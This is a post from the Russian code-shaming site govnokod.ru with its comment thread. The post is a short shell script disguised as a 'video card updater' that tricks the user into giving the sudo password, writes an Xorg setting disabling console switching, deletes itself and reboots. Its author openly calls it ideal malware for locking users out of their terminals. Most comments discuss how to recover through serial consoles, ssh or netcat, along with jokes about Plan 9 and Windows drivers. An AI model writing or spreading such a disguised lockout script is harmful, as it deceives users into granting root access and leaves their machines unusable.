Beri bash i ebash / Говнокод #23624 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
#!/bin/sh
echo "Вас  приветствует обновлятор видеокарты! Версия 1.0"
echo "Мы обновим ваш софт автоматически, введите пожалуйста пароль адимнистратора"
sudo echo -n "Установка..."
sudo echo -e 'Section "ServerFlags"\nOption "DontVTSwitch" "true"\nEndSection' >/etc/X11/xorg.conf.d/99-system.conf
let a=$RANDOM%15
let a+=7
sleep $a
echo "Установка завершена! Приятного использования"
sleep 1
rm $0
sudo reboot

Это идеальная вирусня! Потом юзер просто не сможет войти в термы. Можно блокать доступ к экрану и так далее
Можете не верить но вирусы на linux уже есть и дауны всякие кривожопые пользователи убунты не знают как их удалить

Запостил: fuckercoder fuckercoder, (Updated )

Комментарии (75) RSS

  • echo "Пожалуйста удалите важные файлы и вышлите нам денег"
    Ответить
  • Это не вирус, это вредоносная программа.

    Отличительная особенность вирусов — способность к размножению.
    Ответить
  • Теперь можно портировать говнохуйню DriverPack Solution на линукс!
    Ответить
      • Он на новых-то виндах нужен только ламерам и долбоебам, готовым поставить любой скам ради экономии пяти минут, а на хп он тем более нахуй не нужен, как и сама хп, впрочем
        Ответить
        • На новых же дрова ставятся с обновлениями, нет?
          Ответить
            • Какие не ставятся? Но на свинье не ставится вообще ничего.
              Ответить
              • Какие-то особо хитровыебанные дрова
                Из недавнего примера: драйвер nvme от Тошибы
                Ответить
                • По крайней мере, сразу после установки винды и апдейта можно пользоваться компом.
                  Кстати, некто хвалил DriverPack Solution за то, что им можно ставить дрова на компы, не подсоединенные к инету. А нельзя апдейтить винду с локального сервака?
                  Ответить
                    • Это мелкомягкий сервер? Или бесплатно тоже можно?
                      Ответить
                      • Бесплатно можно, но сервер надо купить

                        У нас админы через всус обновляют кучу виндов чтоб не качать по 150 раз

                        А еще есть scom шоб централизованно мониторить логи
                        Ответить
                    • Сколько он там стоит?Ну хотя если его с собой таскать.
                      Ответить
  • > юзер просто не сможет войти в термы
    > xorg.conf
    Как-будто линух нельзя загрузить без этих ваших иксов...
    Ответить
    • Боюсь, те, на которых расчитан данный говнокод, не могут загрузить линух без иксов.
      Ответить
      • Боюсь, что тогда не долго им юзать линух, даже без данного говнокода...
        Ответить
    • Контрол альт эф2 жи, и иксы переключат на незанятую ими вторую вирт консоль


      А там мумулятор терма
      Ответить
      • Не факт. Могли сэкономить на спичках и не запустить.
        Ответить
          • Отличный пример здоровой экономии. Хозяйке на заметку.
            Ответить
        • Если там systemd то он лениво запускает эмуляцию getty, так что это не экономия вовсе

          а если там кошерный getty то таки да -- могли и не запустить
          Ответить
        • а вот я слепошарый дебил
          там же DontVTSwitch включают
          тогда да: не переключишься
          Ответить
          • Ещё прикольно когда из-за нвидиевского драйвера ядро стартует с чёрным экраном. В итоге консольки хоть и работают, но толку от них ноль. Разве что по памяти команды вбивать.
            Ответить
            • а вывалится в пропмт груба и передать ядру ключик для отключения драйвера?
              Ответить
                • именно потому слака стартует по-умолчанию таким ранлевелом что иксы не запускаются и кажется даже фреймбуфер отключен:)

                  Правда тут есть найоб: если иксы не испольщуют KMS а сами переключают VT в нужный режим, то им нужно иметь привилегии рута (кажется чтобы подправить IO Permissions у страницы и научиться писать в IO). Так что startx обычный не запустится. У дебина был раньше враппер с suid битом чтобы стартовать иксы от рута всегда.
                  Ответить
                • man работает, по памяти ты помнишь, что есть консольный браузер lynx или какой-нибудь ещё, если не установлен — ставишь его (команду помнишь по памяти ^___^), гуглишь какой ключик надо передать ядру в груб.
                  Ответить
                  • не очень понятно куда ты что гуглишь если у тебя черный экран

                    на самом деле надо просто запускать getty на /dev/ttyS0 (это можно сделать по памяти, лол) как делали наши предки. Тогда можно подцепиться на компорт с другого компа или даже с терминала и там будет все работать.

                    А если туда повесить модем, то можно даже подключиться через телефонную сеть.
                    У вас в 2018-м что-ли так не умеют?
                    Ответить
                    • > подцепиться на компорт
                      Или sshd поднять и зайти с телефона.

                      serial таки надёжней и раньше стартует.
                      Ответить
                      • проблема в том что у современных мамок компорта может и не быть вовсе, или он может быть, но не иметь выкидыша.

                        Вариант про ssh мне нравится. Но если ты убунтодесктопный чел то ты наверняка либо не поставил ssh вообще, либо поставил, но забыл настроить в sshd.conf кому можно туда логица, а править sshd.conf вслепую не очень легко.
                        Ответить
                          • >>nc + шелл.
                            только сразу на 0.0.0.0:23 , ок?)

                            а хотя у тебя все равно небось NAT
                            Ответить
                            • швейцарский нож сетевого дрочера-юниксоида
                              умеет быть клиентом и сервером tcp и udp и еще немножко шьет

                              man nc
                              Ответить
                              • Двачую, замечательная вещь. Еще socat хорош, но уж очень сложен.
                                Ответить
                                • Забавно, кстати, что выдумавшие сокеты BSDшники насрали на юниксовую философию "everything is file".

                                  Если бы не насрали, то не нужно было бы никаких сокатов и неткатов.

                                  Ты бы просто писал
                                  $ cat /dev/new_sockets/tcp/yandex.ru/80


                                  Понятное дело что там есть еще 150 опций у TCP и столько же у IP, но они не всегда нужны.

                                  Эту мыслю, емнип, развили в Plan 9 -- мертворожденном потомке Unix.
                                  Ответить
                                    • а слать письма вот так
                                      fopen('foo@mail.ru', 'w');

                                      а срать на двач вот так
                                      fopen('2ch', 'a');

                                      Почему 'a'? потому что 'w' затрет все существующие там комменты
                                      Ответить
                                      • > fopen('foo@mail.ru', 'w');
                                        > fopen('2ch', 'a');

                                        То есть снести всю предыдущую почту человеку — это нормально, а на дваче ты о комментах заботишься.
                                        Ответить
                                        • ой, и правда
                                          ну тогда можно же ее сохранить временно на дропбоксе

                                          $f = fopen("foo@mail.ru", "r");
                                          $d = fopen("dropbox.com", "a");
                                          while(!feof($f)) {
                                            fwrite(fgets($f, MAIL_SIZE), $d)
                                          }
                                          fclose($f);
                                          fclose($d);
                                          Ответить
                                  • Мм, интересно. Можно будет в принципе сделать виртуальную ФС, которая будет делать то что ты предлагаешь? Еще нужно учесть открытие/закрытие сокетов и потоковоть (нету seek/tell)
                                    Ответить
                                    • > (нету seek/tell)

                                      В юниксе не всё умеет в seek/tell. Есть блочные и потоковые устройства. Устройство мыши — это тоже файл, seek на нём, по понятным причинам, не сделаешь.
                                      Сокеты в юниксе — это тоже "файлы", на них работают read() и write().
                                      Ответить
                                      • Апи открытых сокетов как у открытых файлов, мы немного о другом. О закрытых сокетах.
                                        Ответить
                                  • Нечто подобное было в Plan9, не взлетело. Хотя я один раз видел 9p2000, вертящийся под линуксом в полупродакшне, моя челюсть тогда чуть пол не пробила. Дебажить это тоже было весело.
                                    Ответить
                                    • так собссно
                                      http://govnokod.ru/23624#comment401364

                                      Я про план9 только читал, знаю что там была заинька с зубами как у суслика го


                                      зы: Снаут, почему все элегантные, красивые и правильные решения никогда не взлетают, а наколенное говно, подпертое костылями, становится промышленным стандартом?
                                      Ответить
                                      • Мне надо учиться читать посты до конца \^////
                                        Элегантные и красивые решения часто тормозят и/или не переживают ошибки. А ещё два разных элегантных решения как правило нельзя использовать вместе без превращения обоих в кучу костылей.
                                        Ответить
                                        • > А ещё два разных элегантных решения как правило нельзя использовать вместе без превращения обоих в кучу костылей.
                                          Элегантные как раз можно, а вот костыли типа манки патчинга как раз конкурренцию не любят.
                                          Ответить
                                          • Твоя мамка своим конкуренткам тоже может скальп снять и до костылей довести, если что. Борьба за нетрудовую пачку "Роллтона" - это такое дело...
                                            Ответить
                                  • > Ты бы просто писал
                                    > $ cat /dev/new_sockets/tcp/yandex.ru/80

                                    Напиши себе плагин для fuse, и не такое сможешь.
                                    Ответить
                                    • речь не о том что можно в написать, а о том что изначально API беркли сокетс не такой совсем как у файлов
                                      Ответить
                          • Это чит. Предположим, что видюха вообще не работает.
                            Ответить
                          • если у тебя есть живая палка то ты можешь маунтуть раздел с модулями и блеклистнуть больной модуль (ну или перебрать ядро убрав его, если он вкомпален)?

                            Или вообще почитать про него и узнать про опцию отключения
                            Ответить
                    • А, только сейчас понял, что имеется ввиду ситуация, когда вообще не работает графика.

                      Заминусуйте тот мой бред.
                      Ответить
  • З.Ы. У кого-то подгорело от нвидиевских дров (даже с DKMS не всегда переживают обновление ядра, чёрный экран во время загрузки вместо соснольки) и он решил наваять свой аналог?
    Ответить

Добавить комментарий

Семь раз отмерь — один отрежь, guest!

    А не использовать ли нам bbcode?


    8